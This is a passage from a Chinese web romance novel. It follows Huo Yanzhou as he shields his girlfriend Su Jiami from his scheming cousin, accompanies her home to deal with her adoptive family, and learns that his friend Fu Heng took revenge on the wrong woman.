许瑶与苏嘉觅对视一眼,觉得这事儿有门,自然同意。 霍砚舟与傅珩一前一后的出去。 许瑶和苏嘉觅就更放心的说话了。 许瑶伸手撩了一下苏嘉觅的头发,“哎呀,我的觅觅出息了,神不知鬼不觉的就拿下了霍砚舟,你把他睡服了?” 不是说,是睡! 苏嘉觅白了不着调的许瑶一眼,“别闹,他很尊重我,我俩至今只接过吻。” 许瑶笑容僵在脸上,想起关于霍砚舟的传闻。 她担忧,“觅觅,霍砚舟不会真的不行吧?” 苏嘉觅想起那久久支撑的帐篷,还有硬得像砖头的“手机”,她脸颊泛红,“不是,我觉得他能行,而且应该很厉害那种。” 虽然是闺蜜,但是太私密的事情总不好宣之于口。 许瑶打了个手势,“了解!” 这时,苏嘉觅的手机响了,是她的养母的电话。 她觑了两眼就挂断了。 另一边,找到养母徐兰家的苏彦允满眼失望,但一想到所有信息基本吻合,他又不是很急。 或许,苏嘉觅有事无法接通电话。 徐兰看到人到中年却依旧丰神俊朗的苏彦允,她笑着说,“苏教授,我一会儿再给带娣打。” “带娣?” 苏彦允眼中闪过不喜。 徐兰轻咳,“啊,就是嘉觅,她小名叫带娣。” 苏彦允何等精明,他知道自己的女儿被收养就是希望能给这个家庭带来生机——属于徐氏夫妇的亲生儿子。 他摸索了一下苏嘉觅为数不多的几张单人照片,她甚至没有资格出现在徐兰家的全家福上。 苏彦允起身,“既然如此,我先告辞了,你打通电话告知觅觅,我再联系她。” 徐兰望了眼苏彦允带来的诸多礼品,笑着点头。 苏彦允从徐兰家出来,心里密密麻麻的疼,他仿佛看到了苏嘉觅寄人篱下,忍辱偷生的情景,这些年,她过得不好,很辛苦。 他这个亲生父亲缺位了她的童年,少年,他绝不会缺席以后。 病房外,霍云杳并未在骨科的病房看到霍砚舟和傅珩,反而看到苏嘉觅与傅珩那天紧张抱在怀里的女人有说有笑的。 霍云杳不知道哪里不对,可她总觉得这里面有蹊跷。 她很想现在就冲进去把霍砚舟对苏嘉觅做的事情说清楚,可又觉得太冒失了,苏嘉觅未必信。 霍云杳看了看苏嘉觅身边的那个女人,她在江城从未听说过傅珩有女友,倒是知道傅珩为他家保姆的女儿守身守心多年,不恋爱,没女人,更遑论结婚。 她眼中闪过丝丝不屑于狠辣,转身回了病房。 医院对面的咖啡厅,霍砚舟搅着手里的咖啡,“我喜欢苏嘉觅,现在唯一担心的是事情露了,她对我的感情还不足以原谅我。” 作茧自缚! 傅珩很想说这句话,可自己却说不出口,他很可能也是“作茧自缚”的二号种子选手。 霍砚舟见傅珩难得的安静,他挑眉,“你怎么不说话?” 他抿了一口咖啡,“这个时候你不应该讽刺我,挖苦我吗?” 傅珩苦笑,“我和你半斤八两而已。” “什么意思?呵,你发现你也喜欢上许瑶了?” 霍砚舟放下咖啡杯,“我就说你对许瑶有意思。她对你也是吧,不然不会考虑的前途把你推给我。” 他言笑晏晏,却见傅珩哭着脸,“砚舟,许瑶可能不是害林雅的人。她没霸凌过林雅,这件事从一开始就错了。” 霍砚舟怔然。 他抿唇,“你确定?” “我不确定,我已经派人去查了,”傅珩捂了捂脸,“若是我调查出了问题,我这半年都在对她做什么?” 傅珩眼眶隐隐发红,“我一直在伤害她,还想玩弄她的感情,搞垮她的公司,把她送进监狱。” 霍砚舟心底也发闷,他虽然没有傅珩那么阴险的目的,可他刚开始也想着让苏嘉觅给霍云杳捐赠干细胞。 他按了按眉心,“你抓紧查,若是弄错了,许瑶什么不都知道,你抓紧补救。” 傅珩点头,目光落在医院住院部,“我怕她,不会原谅我!所以,我一定不能让她知道我的事。” 霍砚舟沉声,“你给许瑶转院吧,杳杳也住这里,她知道你和林雅的事,不要在许瑶面前露出来。” 听此,傅珩才知道霍砚舟把他叫出来谈的目的所在。 他颔首,“好,你呢?不怕霍云杳把事情捅到苏嘉觅面前去?” 第70章 陪她处理家事 霍砚舟害怕,所以,他严防死守。 “霍云杳这边,她既然拒绝捐赠人,那我就先把她按回江城,”霍砚舟眼中闪过丝丝愤懑,“回到江城,为了活命,我二叔二婶包括霍云杳又会接受捐赠。” 傅珩明白霍砚舟的意思,他们此刻的举动是在逼霍砚舟强行让苏嘉觅捐赠,可他们没料到霍砚舟爱上了苏嘉觅,又知道了他们的算计,是不会再为霍云杳伤害苏嘉觅了。 “你这局,还有解,我的这局,我都不知道怎么解!” 傅珩满眼疲惫,他扯松了领带。 霍砚舟幽深的眼眸透着审视,“阿珩,你喜欢许瑶吗?” 傅珩一顿,他没说话,只是搅咖啡的手捏着汤匙柄,绷起了青筋。 —— 霍砚舟接上苏嘉觅回去的时候,他如释重负,因为没碰到霍云杳,而他安排给霍云杳的保镖也到位了,她不可以随意出病房走动。 苏嘉觅跟许瑶聊过,两人心情都很好。 许瑶告诉苏嘉觅,她不排斥霍砚舟就是因为喜欢他,放心与他相处;苏嘉觅告诉许瑶,她喜欢傅珩就是喜欢这个人,无关他是秘书还是老板,应该给予傅珩足够的信任和尊重。 霍砚舟见苏嘉觅从医院出来就很高兴,他笑着问,“怎么探望个病人,你还这么高兴?” “不仅仅是探望病人,是明白了一些事情。” 苏嘉觅抿唇笑的样子软得像只小猫,霍砚舟好像把人揉进怀里,好好疼爱一番。 这时,苏嘉觅的手机又响了。 她在看到那个电话号码的时候,整个人脸色愈发的难堪,刚才的笑容也都消失不见,像是阴云密布一般。 霍砚舟见此,皱眉问道,“怎么了?刚才还高兴呢,怎么这会儿又难过了?” 苏嘉觅按掉来电,拒接。 “是我养母的电话,她每次打电话过来,不是要钱就是要钱。” 她咬了下嘴唇,“我执着于找我自己的亲生母亲,不仅仅是想要一个完整的家,感受下被亲生母亲无私的爱着到底是什么样的,我还想知道到底为什么她不要我,只带走了姐姐。” 苏嘉觅看向霍砚舟,她嘴角漾着苦笑,“我看你和伯母的相处,我真的好羡慕。” 霍砚舟将车停在路边,他扯了安全带抱住苏嘉觅,“别难过,你若是想跟养父母彻底断掉,我陪你会会他们。” “至于你想找你妈妈,之前你是没人没钱没办法,”霍砚舟大掌抚着苏嘉觅的后脑勺,“现在你有我,这些都不是问题。” 苏嘉觅的心与霍砚舟的心脏靠得那么近,她第一次找到了可以依靠爱人的感觉,踏实又幸福。 她抱紧了霍砚舟的脖颈,“谢谢你,砚舟。” 回公司后,霍砚舟开始加班匀出陪苏嘉觅回老家的时间。 黎骋不解,他沉声,“霍总,这件事,我去办就行,您没必要亲自跑一趟。” 霍砚舟捏着钢笔在文件上做批注,他摇头,“我亲自去。一来我想看看觅觅以前生活的地方,二来我们不在京的这段时间,正好把二婶和杳杳按回到江城。” 他语气冷肃,“不要跟觅觅有一点接触。” 黎骋颔首,他轻声说,“刚才夫人给我打电话过来,说让您晚上与苏小姐过去吃饭,吃火锅。” 霍砚舟嘴唇上扬,“我妈只说这些?” 黎骋仔细观察下霍砚舟的神情,粲然一笑,“夫人让我循序渐进地跟你说,因为她还拿不准您的想法。” 霍砚舟撩眼皮看向黎骋,“我妈把二婶从我那撵出去了?” 黎骋笑得灿烂,“嗯,不仅撵出去了,把杳杳小姐的东西都清走了。” 霍砚舟就知道他妈做事情向来稳准狠。 他点点头,“嗯,我知道了,你给我妈打个电话,告诉她,食材,我和苏嘉觅买了带过去。” 黎骋走后,霍砚舟去了苏嘉觅的办公室。 她正在写资料,抬眼就见霍砚舟如沐春风地推门进来,那双漂亮的桃花眼满是笑意,“觅觅,上次摘下的窗帘你还留着吗?” 苏嘉觅往后仰靠,“嗯?” “要是丢了,一会儿我陪你去定制。” 霍砚舟的神情没变,就是笑容拘谨了几分,“上次的事情,是我不对。” 苏嘉觅勾唇笑笑,“你这意思是你堂妹搬走了?” 霍砚舟点头,“对。” 他过来,俯身在她脸颊落下一吻,“以后,我再也不让你受那样的委屈了。” 虽然,苏嘉觅当时说不委屈,没生气,可她心里却是不舒服。 霍砚舟吻了吻她的嘴角,“晚上去我妈那吃火锅。” 苏嘉觅偏头,接受他的亲吻。 而苏嘉觅的手机又不合时宜地响了。 霍砚舟挑眉,“又是你养母?” 苏嘉觅点头,不想理会的人像狗皮膏药一样贴上来,就见霍砚舟拿过手机,滑动接起,“喂...” 听到清朗磁性的男声,徐兰吓了一跳,她忙问,“这是苏嘉觅的手机吗?” “是,我是她男朋友,”霍砚舟冷声,“她不想接你电话,有什么事,你跟我说吧!” 徐兰如释重负,“你是陆北吧?” 霍砚舟冷漠的神情陡然一僵,他轻咳,“不是,我叫霍砚舟。” 徐兰没想到苏嘉觅竟然换男友了。 她冷嗤,“我就知道陆北那么好的男人不会跟她长久,好在她的亲生父亲找过来了,你跟苏嘉觅说一声,近期回来一趟,她爸等着跟她做亲子鉴定呢!” 电话里的声音尖锐,声音又不小。 苏嘉觅听得一愣,“我亲生父亲?” 她拿过电话,徐兰不耐烦的声音响起,“对,他找过来了,你过来自己处理下。带娣啊,陆北是老板又有钱,你怎么能让他甩了你呢?” 苏嘉觅了解徐兰,她现在的关注重点不是苏嘉觅,更不是她的亲生父亲,而是陆北这个有钱的“女婿”没了。 徐兰不耐烦地说,“你尽快回来一趟吧,你亲生父亲给你打电话,你记得接。” 说完,她电话就挂了。 苏嘉觅气闷地将手机摔到桌子上,“她总是这样!” 霍砚舟伸手将苏嘉觅揽进怀里,他拍着她的脊背,“别气,我把手头的工作处理下,我陪你回去。” 苏嘉觅靠在霍砚舟的肩头,她眼睛蒙上一层水汽,“砚舟,我是先被亲生父亲抛弃的,我妈后走的,带走了姐姐,没带我。” 她模模糊糊的记忆里,她妈妈是坐着轿车走的,而她被丢到了外婆家,她追了车很久,都没追上。 至于她外婆也不喜欢她,去世前,让孤儿院领走了她。 霍砚舟不明白这世界上怎么会有如此狠心的父母。 苏嘉觅哑声,“我妈在我爸走后支撑不了一个家,选择带走姐姐,我可以理解她的不容易,可我不明白,为什么她没来找我。” 霍砚舟安抚苏嘉觅,他吻着她的额头,“不哭,你还有我!” 回乔映紫那边吃饭的时候,霍砚舟在与乔映紫独处时将苏嘉觅的身世简单地说了一下。 乔映紫很诧异,“这孩子身世这么凄苦吗?” 霍砚舟颔首,“妈,我想陪她回去处理下她养父母和她亲身父亲找过来的事情。” 第71章 霍砚舟:我爱她,舍不得她遭罪! 大家族最讨厌的就是家里出现麻烦事,尤其是引起舆论的麻烦事。 霍砚舟提前把这件事与乔映紫摊开说,就是希望提前得到乔映紫的支持,这种支持涵盖了长远的考虑—— 假若有一天,苏嘉觅真成了霍家的媳妇儿,那么乔映紫作为婆婆,应该一如既往地支持苏嘉觅这个身世坎坷的儿媳妇,对抗世俗的眼光,缓和她与霍家的矛盾。 乔映紫觑了一眼与肖赫聊天的苏嘉觅,她轻笑,“儿子,你都为她考虑得这么长远了?奔着结婚去的?” “是!” 霍砚舟知道乔映紫处理好阮倾和霍云杳不会久留,必然会回到江城。毕竟,江城的公司还在等她。 “妈,您回去后,替我在我爸,爷爷面前给苏嘉觅美言几句,”霍砚舟目光幽深,“至于她家里的事情,我会尽快解决。” 难得霍砚舟有定下来的决心,乔映紫自然支持,但她又说,“咱们家与别家不同,你二叔一家恨不得揪出你一身的小辫子给股东看。” 她端起茶盏抿了一口,“而你是长房长子,将来就是霍家的掌权人,苏嘉觅要跟你勠力同心,做一个称职的长媳,对外辅佐的你的事业,对内要管好霍家的后宅。” 乔映紫眯了眯眼睛,似笑非笑地说,“且不说她能不能,你问过她愿不愿意吗?” 荣耀与压力并存。 霍砚舟看向了苏嘉觅,他笑笑,“觅觅会愿意的,妈,她喜欢实实在在抓在手里的东西,比如说钱。” 乔映紫笑笑,就见霍砚舟的手机响了,是霍云杳的电话。 这两天,霍砚舟对她都是避而不见。 眼下,他是要见她一面,把话说清楚。 乔映紫煞有介事地看向霍砚舟,“饭后,我陪着苏嘉觅,你去和霍云杳把话说清楚。” 霍砚舟点头,他接通电话。 霍云杳呜咽的声音响起,“三哥,你是不是不要我了?” 这句话暧昧又透着委屈,听得霍砚舟不顺耳,“杳杳,你是我堂妹,这层关系不会变,哪有要不要你这一说?” 他垂眸敛笑,“你是二叔二婶的孩子,是霍家的四小姐,这点也不会变。” 霍云杳被霍砚舟的话噎住了。 她眼泪往下掉,阮倾见此赶紧捏她的手。 霍云杳又说,“三哥,我想见你。” “我一会儿去看你。” 霍砚舟也想把话跟霍云杳说清楚,他挂了电话。 霍云杳听到那边的电话断了。 她的眼泪禁不住地往下掉,“妈,我觉得三哥好像不喜欢我了,他对我很冷漠,我给他打电话,他都不接了。” “杳杳,见面三分情,你一会儿见了砚舟一定要好好跟他说话。” 阮倾抬起霍云杳的下巴,“你一定要把当年的情分拿出来说,还要,杳杳你这个人和你的身子未必不是优势。” 她解开霍云杳病号服的前襟扣子,“霍砚舟再君子也是个男人,没有哪个男人不喜欢女人的身体,你的优势在于弱柳扶风的病美人气质。” 霍云杳低头看了眼自己若隐若现的胸脯,她含羞带怯地问,“妈,能行吗?” 阮倾颔首,“一定行,你大胆点。” 另一边,霍砚舟和苏嘉觅吃过饭,他领着苏嘉觅在院子里消食,两人有说有笑。 乔映紫和肖赫站在窗前,看着外边的一幕。 肖赫笑着说,“少爷这种放松快乐的状态,我是许久没见了。” 乔映紫嘴角噙笑,“肖赫,我很喜欢看他俩相处,所以苏小姐家里那边,你也要有个把控,不要传到老爷子那边去。” “等到时机成熟了,我去和老爷子说。” 乔映紫的话就是“指示”,肖赫自然明白其中轻重,“我懂,夫人。” 霍砚舟扫了一眼手表,轻声说,“觅觅,我有点事要处理,你陪我妈聊会儿天?” 苏嘉觅看向霍砚舟,透着审视。 “去看你堂妹?” 霍砚舟心头一紧,还是点头,“嗯,她很快就要回去了,我去看看。” 苏嘉觅没多想,“早去早回!” 她心里也有事,是关于她亲生父亲的事情。 一个从小到大缺失父母之爱的人,突然听到一个自称父亲的人意图闯进苏嘉觅的生活,即便她在人前再淡然,私下里,她也是兵荒马乱的。 而她的慌乱,被霍砚舟发现了。 饭后,他领着她散步,一边逗弄她,一边开解她,试图告诉她,让她选择随心,唯一不变的是他会一直都在。 乔映紫让肖赫准备了温补的食材放到了火锅里,是给两人补“亏空”,但霍砚舟却买了很多降燥气的食材和水果。 他笑着都她,“你看,我妈觉得我们俩需要的,我们根本不需要,我知道你想要什么,就给你添什么。” 霍砚舟走之前扶着她的肩膀说,“觅觅,你想要什么,由你自己说了算。你要不到的,我补给你,不想要的,我帮你推出去。” 这句话,平实却震撼她的心。 乔映紫发现苏嘉觅在霍砚舟走后,少话多思,应该是在考虑她父亲的事情,她勾唇,“嘉觅,你累了一天,早点回去休息吧!” 这个时候,不打扰更好。 苏嘉觅松了一口气,告辞回了房间。 洗漱后,她躺在床上,想着若是回到家,她应该如何应对? 另一边,霍砚舟去了医院。 房间里,黑漆漆的一片。 霍砚舟见此心惊,他推门进去,隐隐约约可以看到霍云杳睡在床上。 他过去扫了一眼放在一旁的熊猫小夜灯,他拧着眉将其插在一旁的插座上,按了下开关,灯没亮。 霍砚舟盯着那灯,又按了几次,确定了一件事——熊猫小夜灯坏了,霍云杳不怕黑了。 “三哥!” 听到霍云杳的声音,霍砚舟顺势按灯的开关。 原来,霍云杳没睡,像是在等他。 见霍砚舟乌黑的眼眸审视地望向她,她盖着被子的身体僵了僵。 霍砚舟勾了勾唇角,看着她略显苍白的脸,他垂下眼眸,掩盖了所有情绪。 他笑笑,“捐赠人拒捐的事情,我已经知道了。你先回江城治疗,后续的捐赠人,我继续找。” “不是有苏嘉觅吗?” 霍云杳被子里的手紧紧地攥着。 霍砚舟目光从柔和到寒凉,他挑眉,“杳杳,救你命的干细胞为什么一定要出自苏嘉觅身上?” 霍云杳顿住,“我没想这样,只不过捐赠人不捐了,我找不到下一个人了。” 看着在他面前说谎未改半分脸色的霍砚舟,心底尽是失望。 他勾唇,“那就等找到合适的人选吧,苏嘉觅不行!” 霍云杳心头猛地震颤,她哑声,“她为什么不行?” “我爱她,”霍砚舟语气平和却清朗地说,“我舍不得她遭罪。” 第72章 彻底对霍云杳失望 霍砚舟说他爱苏嘉觅? 霍云杳不死心,她手伸出被子想要抓住霍砚舟的手,却被他躲开。 “三哥,你难道忘了我们的情分了吗?我们一起被人贩子关在小黑屋,解救后,你在我家,我妈和我对你极尽照顾。你说过你不会不管我的!” 霍云杳的话情真意切,霍砚舟听得不是滋味。 他看向霍云杳,“可是杳杳,这不是你和二叔二婶拿捏我一辈子的筹码,我想你听得懂我的意思。” 霍云杳心底尽是寒意,她觉得霍砚舟发现了什么。 她哑声,“可是三哥,我喜欢你,我从小到大,都喜欢你!我知道苏嘉觅能给你什么,我也能!” 说话间,霍云杳起身,滑落的被子露出大片雪白的肌肤。 霍砚舟人一怔,他面上冷寒,像笼了一层寒霜。 他迅速垂下眼眸,伸手将被子裹在霍云杳的身上,紧紧箍紧,让她无法挣脱。 “霍云杳,我没想到你竟然为达目的,如此不知羞耻?” 霍砚舟眸中的怒火难以遏制,“我方才说了你永远是霍家的四小姐,怎么?你还肖想做我霍砚舟的妻子?” “我想做霍家小姐,我想做你的女人,三哥!” 霍云杳的积极主动此时看来被霍砚舟嫌恶,可她话已经说出口,就只能让霍砚舟要了她,一路跑到底。 她挣脱霍砚舟的拉扯,“三哥,我喜欢你,你敢说你这么多年没喜欢过我?” 霍砚舟垂眸往后退了几步。 “我对你好,不是喜欢,是感恩,因为你和我一同长大的情分,”霍砚舟冷嗤,“只是我没想到你竟然这么不要脸,这么卑劣。” 霍砚舟扣上西服外套的扣子,“我会安排你和二婶回江城继续治疗,若是你执意留在这,也可以。” 他语气清冷,“反正,我不会再单独见你!” 说完,霍砚舟阔步流星地走了。 霍云杳从床上掉下,她戚戚然然地在那喊,“三哥,你别走,你是喜欢我的...” 病房外,霍砚舟没走。 他坐在一旁的小会客厅内,他盯着外边,他想看看教霍云杳做这事儿的阮倾是不是等在外边,她等着“事成”来个捉奸在床,让他没有退路,必须娶霍云杳。 不一会儿,就见阮倾从隔壁的病房跑进去了霍云杳的病房,里面有霍云杳啜泣声传出来。 亲眼看到之前真心尊重和对待的人就是这么算计他,霍砚舟心里难以言说的不甘与愤怒,他冷凛的眉眼寒意昭然。 从医院出来,霍砚舟点烟吸了两口,满腹的怅然与憋屈。 他开车回去的时候,站在外边抽了好一会儿烟,像是在用燃烬的香烟祭奠死去的那份恩情与馈赠,余下的只有冷漠与平静。 霍砚舟回到西厢房的时候,苏嘉觅睡了,他本打算洗漱上床,就听黑暗中传来苏嘉觅探寻的声音,“你抽了那么多烟,是遇到不开心的事儿了?” 话音落,苏嘉觅打开了床旁的台灯。 穿着黑色衬衫,未打领带,铁灰色西裤的男人依旧挺拔帅气地站在那,只是他眉眼间的落寞藏不住。 苏嘉觅眉宇微蹙,“你到底怎么了?” 霍砚舟走过去,俯身吻住了穿着睡衣的苏嘉觅,他的吻霸道带着烟草的味道,他的气息混着须后水和烟草香窜进了苏嘉觅的鼻腔。 星星点点的味道伴随着他的霸蛮的亲吻让苏嘉觅无力招架,软着身子躺在床上。 霍砚舟吻她的脖颈和胸口,让她不耐地轻哼,“霍砚舟,你答应我了的...” 他喘着粗气起身,眼中浓着欲望和欢愉,“我馋了,就是亲亲你。” 霍砚舟边解扣子边脱衬衫,“睡吧,我洗一下就过来。” 苏嘉觅拢上被子,总觉得男人这句话很撩拨人。 洗漱后的霍砚舟轻手轻脚地上了床,从后面抱住苏嘉觅,他吻了吻她的发顶,“我不回来,你睡不着?” “也不是,在想事情。” 苏嘉觅害羞地往下沉了沉身子。 霍砚舟勾着苏嘉觅的头发缠在手指上把玩,“别想了,我会帮你把那些麻烦解决掉。” 他伸手关了台灯,按亮了一旁的小夜灯。 苏嘉觅睡不着就问霍砚舟,“砚舟,你不是怕黑呀?” “嗯,小时候落下的毛病,”霍砚舟闭眼的长睫毛动了动,“我小时候被绑架过,我逃出来后又被拐了。” 苏嘉觅顿了顿,“啊?你几岁的时候?” “七岁!” 霍砚舟叹了口气,“我从绑架的地方跑出来藏在了货车箱里,我至今都忘不了那纸壳打包箱的味道。” 他沉声,“一天一夜人都在黑暗中,不敢大声哭,恐惧又紧张,从此我就怕黑了。” 苏嘉觅四岁的时候走丢过一次,但很快就回家了。 她模模糊糊地记着一个大哥哥跟他一道回家的,后来大哥哥被人节奏了,她被送去了外婆家,姐姐被接了回去,她就再也没回过家,直到她妈妈领着姐姐离开。 想到这,她叹了口气,“我小时候也走丢过,后来被警察叔叔送回家了。” 霍砚舟柔声,“还好,你没被拐卖。” “我那时候都不知道什么叫拐卖,只知道在一个家里和一群孩子呆了两天,然后就被警察叔叔送回家了。” 苏嘉觅打了哈欠,“你呢?” “差不多的经历,”霍砚舟不愿意在苏嘉觅面前提起阮倾和霍云杳,他缓声,“不提这些了,睡吧!” 他将苏嘉觅带进怀里,“觅觅,我明天再处理下手头的工作,然后陪你回老家。” 苏嘉觅不解,“伯母和肖管家还在京城呢,我们这么走,不好吧?” “我妈和肖赫后天回江城,预约了航线,一同走的还有霍云杳和我二婶。” 霍砚舟解释。 这是,乔映紫在他去医院前给他透的底,他是带着防范去的医院,可没想到霍云杳和阮倾竟然跟他来这么一出“色诱”的恶心戏码。 苏嘉觅觉得暖心,缓缓睡去。 医院内,霍云杳哭肿了眼睛。 阮倾安抚霍云杳,“没事,还有转机。霍砚舟和乔映紫越是想把我们搞回江城就说明他们心虚。至于傅珩和那个女人的事,我去查。” 阮倾勾唇,“那个女人既然是苏嘉觅的好友,那么通过她的口告诉苏嘉觅对我们更有利,即便东窗事发,也赖不到我们头上。” “霍砚舟怕我们找苏嘉觅,那我们就不找,”阮倾眼中尽是冷色与怨愤,“我们安心的回江城,你尽快到江城做移植。等到你好了,苏嘉觅跟霍砚舟掰了,他一定会记起你的好。” “可是妈,这段时间就放任苏嘉觅和三哥在一起吗?” 霍云杳不甘心地问。 阮倾点头,“对,浓烈的爱情背后是处心积虑的欺骗,苏嘉觅一旦得知这个真相,她就再不会原谅霍砚舟了。” 霍云杳咬着嘴唇,她沉声,“三哥只能是我的。” 第二日,苏嘉觅陪着乔映紫去买东西,霍砚舟则去了公司。 他刚进办公室,就见傅珩等在那...... 第73章 一开始就错了 傅珩整个人都憔悴了几分,眼中的红血丝藏不住。 人前,霍砚舟不能与傅珩表现得很熟悉的样子,他内心则在庆幸苏嘉觅今天没跟他来公司。 若是她看到傅珩过来,那霍砚舟只能说傅珩想到他公司来谈入职的。 到时候,傅珩不来他公司都不好收场! 霍砚舟不太高兴,瞪了傅珩一眼,“傅秘书是来找觅觅的?她不在,到我办公室坐吧!” 这句话,霍砚舟声音不小,游岚等人都听到了。 游岚作为颜控,看到傅珩这么一个超级帅哥,顿觉颜狗的春天除了“姓”霍,也可以是随别人的姓。 她们听到霍砚舟的话,瞬间明白了——这个帅哥又是来找苏秘书的! 傅珩进了霍砚舟的办公室,霍砚舟转头抱怨,“你来找我,怎么不提前给我打电话?” 霍砚舟解开西服外套的纽扣,脱了,随意地扔在沙发上,“还好今天觅觅陪我妈逛街去了,若是他看到你来找我。” 他指着傅珩,“你不来我公司看大门都说不过去。” 霍砚舟的调侃放在以前,傅珩一定反驳,可他现在人恹恹的,没什么心思关注在这个点上。 霍砚舟不解,“你怎么了?” “错了,都错了!” 傅珩颓然地坐在霍砚舟对面,他眼神落寞地盯着桌面上的文件夹,“许瑶根本就不是当年霸凌林雅的那个许瑶。” 此许瑶非彼许瑶? 原来,当时学校里有两个许瑶,两人又相继转学,恰逢学校档案室整体搬迁,就把转学档案上的部分免冠照片弄掉了。 管理档案的老师贴错了照片,导致傅珩拿到的信息和照片是错的,而那个“许瑶”也转学到了京城后又出国,这让傅珩一错到底。 听到这,霍砚舟明白了——傅珩找错了人,报复错了人! 他起身给傅珩倒了杯水,“好在一切都不晚,你赶紧拨乱反正啊!” 傅珩过不了心底那道坎,整个人都笼罩在愧疚之中。 他神情落寞又颓丧,“我现在一看到她,愧疚感就压不住。” 霍砚舟轻咳,他也心慌,“那就好好弥补她,她喜欢你,你要是也喜欢她,不如就在一起吧!” 傅珩挠了挠头发,他指了指自己,“我是傅珩,恒瑞的创始合伙人,是律师,我这个身份早晚要露,我要回归正轨,我怎么能瞒得住呢?” 霍砚舟哑然,他也知道瞒不住。 他看向傅珩,“你可以说你爱慕她才来她的公司的。” 傅珩眸中的光亮熠熠,“是啊,对,我得去找一下我们俩的交集,然后...” 剩下的话,他没说,只是茫然地看向霍砚舟,“砚舟,你会不安吗?” 什么叫会不安? 他一直都很不安。 霍砚舟没吭声,却点头。 “你和我,作茧自缚,怎么看都有些活该!” 傅珩靠在椅背上,目光觑向天花板。 霍砚舟安慰,“你要往好的方面想,许瑶得知你在律政赫赫有名,说不定更喜欢你了呢?” 傅珩按了按眉心,他苦笑,“许瑶对律政界不感兴趣,只认识我们的老祖宗。” “什么?” 霍砚舟抿了一口咖啡。 就听傅珩闷笑,“她只认识宋世杰,清朝的状师。” 霍砚舟没咽下的咖啡直接喷了出来,他抽出纸巾擦嘴,又擦了擦了前襟,“得了,你别在这伤春悲秋了,我还有事。” 傅珩问霍砚舟要不要跟他出去喝两杯,可霍砚舟却说他要加班赶进度,只为陪苏嘉觅回老家。 另一边,乔映紫在苏嘉觅陪同下买了很多给霍家人的礼品。 两人在西餐厅休息吃东西的时候,乔映紫不放心地说,“嘉觅,砚舟这个人心好,也总记得别人的好,是很容易受到伤害的。” “若是将来你发现他做了什么错事,不是男女的底线问题,你看在伯母的面子上,给他一次改过自新的机会。” 乔映紫隐隐感觉到霍砚舟的不安,看似像恋爱中的患得患失,但他的不安过于明显。 苏嘉觅不明白乔映紫为什么这么说,但还是点头,“好的,伯母。” 霍砚舟加班到凌晨才回去,苏嘉觅已经睡了。 他洗漱后在她身边睡下,竟然忘了用小夜灯,可他一夜都睡得安稳,没感到害怕。 第二天,苏嘉觅说去送乔映紫和肖赫去机场。 乔映紫婉拒了,她不希望苏嘉觅与霍云杳接触,她笑着说,“我们要和砚舟的二婶和堂妹汇合,一道回江城,你和砚舟都有事,不用送。” 霍砚舟也没有要送人的意思,只是叮嘱的肖赫几句。 车子驶离后,苏嘉觅不解地看向霍砚舟,“不送伯母,是不是显得我们太不懂礼数了?” 霍砚舟将人拢进怀里,下巴垫在她的肩上,“不是,我妈不想你送有她的道理,我们不用纠结这些。” 苏嘉觅没说什么。 她回了公寓收拾东西,准备回老家。 霍砚舟倚着门看她,眼中的情绪化不开,他笑着问,“觅觅,老家有什么好吃的东西,记得带着我去打卡。” 苏嘉觅内心本沉重,霍砚舟把关注点转移到吃上就是为了哄她。 她颔首,“打卡没问题,就怕霍总吃不惯。” 霍砚舟倚着门,静静地看着苏嘉觅。 他垂眸,“许瑶这两天联系你了吗?” 苏嘉觅,“没有,怎么了?” 霍砚舟笑笑,“没什么,随便问问呢。” 没有消息就是最好的消息! 去苏嘉觅老家的一路上,霍砚舟都对她极尽体贴,照顾,无论是坐飞机还是转高铁,抑或者最后租车去镇上。 霍砚舟都是执行力满分的男友,他带了黎骋和四个保镖,可照顾苏嘉觅的事情,他不假手他人。 小镇上的一切都透着宁静。 苏嘉觅却在踏进宁静的小镇后变得十分促狭。 霍砚舟一直紧紧拉着苏嘉觅的手,可是临近养母徐兰的家时,苏嘉觅本能地往后退步,他扶住她的肩膀,“怎么了?” 苏嘉觅眼中的慌乱藏不住,她摇头,“砚舟,我不想回那个家,我...wo不想看到孙建。” “孙建是谁?” 霍砚舟头次见伶牙俐齿的苏嘉觅这么慌乱,她的样子明显就是害怕外加厌恶那个养父养母的家。 “孙建是我养父,”苏嘉觅蓦然抱住霍砚舟的脖颈,声音呜咽带着颤音,“我成年后,他觊觎我,总找徐兰不在家的时候用言语挑逗我,高考后的暑假,他还想猥亵我,被我踹在那,他住进了医院,我逃了!” 霍砚舟抱紧了苏嘉觅,看向那处房子的他眼中尽是猩红。 第74章 为了霍家的百年大计 霍砚舟并没有带苏嘉觅回去,而是包下了小镇上条件最好一个旅游民宿,他看中了周边的环境。 最重要的是民宿里开满了盛放的风信子,很美。 苏嘉觅喜欢花,霍砚舟希望她能有个好心情。 入住后,苏嘉觅心情好了许多。 霍砚舟趁着她洗澡的时候,他吩咐黎骋,“你带人把孙建和徐兰的事好好查查。” 黎骋领着两个保镖走了。 霍砚舟站在小院里看着那些花,眼底冷肃。 他心疼苏嘉觅,心疼她的遭遇,更心疼她一个好好的女孩子从小到大都未必真心对待。 苏嘉觅换了白色法式睡裙出来的时候,就见霍砚舟正在院子里发呆,只是他的神情冷漠,不近人情。 “砚舟!” 霍砚舟回身,见苏嘉觅用干发帽挽着头发出来,他走了过去拉起她的手,“我帮你把头发吹干了。” 苏嘉觅没拒绝,她坐在梳妆台前看眼前的男人细致地给她吹头发。 霍砚舟则缓缓开口,“觅觅,我知道你为何排斥陆北,好在你不讨厌我。” “就算你讨厌我的亲密,我也会陪着,陪你把内心对男人的恐惧消除掉!” 霍砚舟轻轻叹气,“7岁那年,我被解救出来时,我也有应激障碍,很害怕,不敢睡觉。” 他俯身亲了亲她的发顶,“所以害怕不是一件丢人的事,而该害怕的人也不应是你,是那些做了龌龊事的人。” 苏嘉觅的眼眶濡湿,她推开霍砚舟的手。 霍砚舟关了电吹风放在一边,“怎么哭了?” 他抿唇,“好,我不说了,觅觅...” 霍砚舟话没说完,苏嘉觅扯着霍砚舟的领口,垫脚吻住了他。 他先是怔然,一瞬间,他缓缓闭上眼睛,手攥住了苏嘉觅的腰肢,迎合,加深,她主动给他的亲吻。 梳妆台离床很近,两人吻着吻着就躺倒在了床上。 霍砚舟将苏嘉觅笼在身下,吻得情动。 忽而,他感觉到苏嘉觅两手在解他的皮带扣,他大手捏住苏嘉觅的手。 霍砚舟微微撑起身子,染上情欲的眼睛看向了苏嘉觅,他声音嘶哑带着不可遏制的情动,“觅觅...” 苏嘉觅耳垂都红透了,“我不会弄你的腰带扣。” “你...” 